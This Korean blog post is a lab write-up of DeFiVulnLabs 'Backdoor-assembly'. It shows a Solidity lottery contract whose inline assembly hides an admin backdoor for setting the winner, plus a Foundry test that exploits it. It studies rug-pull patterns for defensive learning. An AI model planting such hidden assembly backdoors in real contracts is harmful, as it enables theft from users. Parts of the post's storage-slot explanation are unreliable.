새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Backdoor assembly

  • -
반응형

Backdoor-assembly

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
/* 
Lottery game: anyone can call pickWinner to get prize if you are lucky. 
Refers to JST contract backdoor. many rugged style's contract has similar pattern.
Looks like theres is no setwinner function in contract, how admin can rug?
*/

contract ContractTest is Test {
        LotteryGame LotteryGameContract;

function testUnsafeCall() public {
 
    address alice = vm.addr(1);
    address bob = vm.addr(2);
    LotteryGameContract = new LotteryGame();  
    console.log("Alice perform pickWinner, of couse she will not be a winner");
    vm.prank(alice); 
    LotteryGameContract.pickWinner(address(alice));
    console.log("Prize: ",LotteryGameContract.prize());

    console.log("Now, admin set the winner to drain out the prize.");
    LotteryGameContract.pickWinner(address(bob));
    console.log("Admin manipulated winner: ",LotteryGameContract.winner());
    console.log("Exploit completed");

    }
  receive() payable external{}
}

contract LotteryGame {
    uint256 public prize = 1000;
    address public winner;
    address public admin = msg.sender;

    modifier safeCheck() {
        if (msg.sender == referee()) {
            _;
        } else {
            getkWinner();
        }
    }
    function referee() internal view returns (address user) {
        assembly {
            // load admin value at slot 2 of storage
             user := sload(2) 
        } 
    }

    function pickWinner(address random) safeCheck public {
        assembly {
            // admin backddoor which can set winner address
            sstore(1, random) 
        }   
    }

    function getkWinner() public view  returns(address) {
            console.log("Current winner: ",winner);
            return winner;
            
    }
}

코드 test결과이다.

Alice가 우승자를 뽑는 데 그녀는 우승자가 아니라고 말한다.

현재 우승자는 없지만 관리자가 우승자를 조작했다고 나와있다.

Trace를 분석해 보자

alice address : 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

bob address: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

LotteryGame Contract address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

이 취약점은 말 그대로 assembly를 이용하여 backdoor를 심는 문제이다.

solidity의 assembly는 다음과 같다.

assembly{
	mul(1, add(2, 3)) -> push1 3 push1 2 add push1 1 mul
    어셈블리 로컬 변수: let x := add(2, 3), let y := mload(0x40)
}

외부 변수 액세스
function f(uint x) public {
	assembly{
    	x := sub(x, 1)
    }
}

라벨 let x := 10 repeat: x := sub(x,1) jumpi(repeat, eq(x,0))
for { let i := 0 } lt (i, x) { i:= add(i, 1) } { y := mul(2, y) }
if slt(x, 0) { x:= sub(0, x) }
switch x case 0 { y := mul(x, 2) } default { y:= 0 }
function f(x) -> y { switch x case 0 { y := 1 } default { y := mul(x, f(sub(x, 1))) } }

대표적으로 이렇게 있는 데 opcode 앞에 s가 있으면 Storage와 관련이 있고 m이 있으면 memory와 관련이 있다.

문제에서 sload(p)는 storage[p]를 뜻하고 sstore(p, v)는 storage[p] := v를 뜻한다. 다음과 같이 작동을 한다.

function referee() internal view returns (address user) {
    assembly {
        // load admin value at slot 2 of storage
         user := sload(2) // user = storage[2]
    } 
}

function pickWinner(address random) safeCheck public {
    assembly {
        // admin backddoor which can set winner address
        sstore(1, random) // storage[1] = random
    }   
}

처음 LotteryGameContract가 생성된 Storage를 확인해 보면 다음과 같다.

  • slot1(prize) = 1000
  • slot2(winner) = 0
  • slot3(admin) = 0x7fa9385be102ac3eac297483dd6233d62b3e1496

첫 번째 함수 pickWinner()를 호출했을 경우 Storage는 다음과 같다.

  • slot1(prize) = 1000
  • slot2(winner) = 0
  • slot3(admin) = 0x7fa9385be102ac3eac297483dd6233d62b3e1496

그리고 두 번째 함수 getkWinner()를 호출했을 경우 Storage는 다음과 같다.

  • slot1(prize) = 1000
  • slot2(winner) = 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
  • slot3(admin) = 0x7fa9385be102ac3eac297483dd6233d62b3e1496

따라서 Storage의 winner가 변경되는 것을 확인할 수 있다.

Vulnerability

function referee() internal view returns (address user) {
    assembly {
        // load admin value at slot 2 of storage
         user := sload(2) 
    } 
}

function pickWinner(address random) safeCheck public {
    assembly {
        // admin backddoor which can set winner address
        sstore(1, random) 
    }   
}

function getkWinner() public view  returns(address) {
        console.log("Current winner: ",winner);
        return winner;

}

exploit

LotteryGameContract.pickWinner(address(bob));
반응형

'Web3 > BlockChain' 카테고리의 다른 글

[BlockChain] DeFiVulnLabs - Bypass iscontract  (0) 2023.02.10
[BlockChain] NFT  (0) 2023.02.10
[BlockChain] DeFiVulnLabs - UnsafeCall  (0) 2023.02.07
[BlockChain] DeFiVulnLabs - Privatedata  (0) 2023.02.07
[BlockChain] PoS / PoW / DPoS  (0) 2023.02.07
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.